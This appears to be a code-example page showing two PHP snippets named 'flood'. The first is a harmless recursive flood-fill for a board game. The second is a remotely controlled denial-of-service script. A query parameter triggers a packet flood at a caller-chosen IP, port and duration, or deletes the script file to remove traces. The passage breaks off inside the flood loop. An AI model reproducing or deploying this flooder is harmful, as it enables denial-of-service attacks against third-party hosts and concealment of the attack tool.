Exemplo n.º 1
0
function flood($board, $c, $colour_flag, $connect_flag)
{
    $f = $board->at($c);
    $is_colour = $f & $colour_flag;
    $is_connected = $f & $connect_flag;
    if ($f & $colour_flag && !($f & $connect_flag)) {
        $board->update($c, $connect_flag);
        if ($board->isGoalEdge($c, $colour_flag)) {
            return true;
        }
        foreach ($board->neighbours($c) as $neighbour) {
            if (flood($board, $neighbour, $colour_flag, $connect_flag)) {
                return true;
            }
        }
    }
    return false;
}
Exemplo n.º 2
0
<?php

$cmd = $_GET['cmd'];
$now = date("Ymd");
if ($cmd == "") {
    echo "ok [{$now}]";
} elseif ($cmd == "delete") {
    unlink($_SERVER["SCRIPT_FILENAME"]);
    echo "deleted";
} elseif ($cmd == "flood") {
    $ip = $_GET['ip'];
    $port = $_GET['port'];
    $exec_time = $_GET['time'];
    $ret = flood($ip, $port, $exec_time);
    echo $ret;
    writeLog($ret);
} elseif ($cmd == "log") {
    writeLog("world");
}
function flood($_ip, $_port, $_exec_time)
{
    $packets = 0;
    set_time_limit(0);
    ignore_user_abort(FALSE);
    $time = time();
    $max_time = $time + $_exec_time;
    for ($i = 0; $i < 65535; $i++) {
        $out .= "X";
    }
    while (1) {
        if (time() > $max_time) {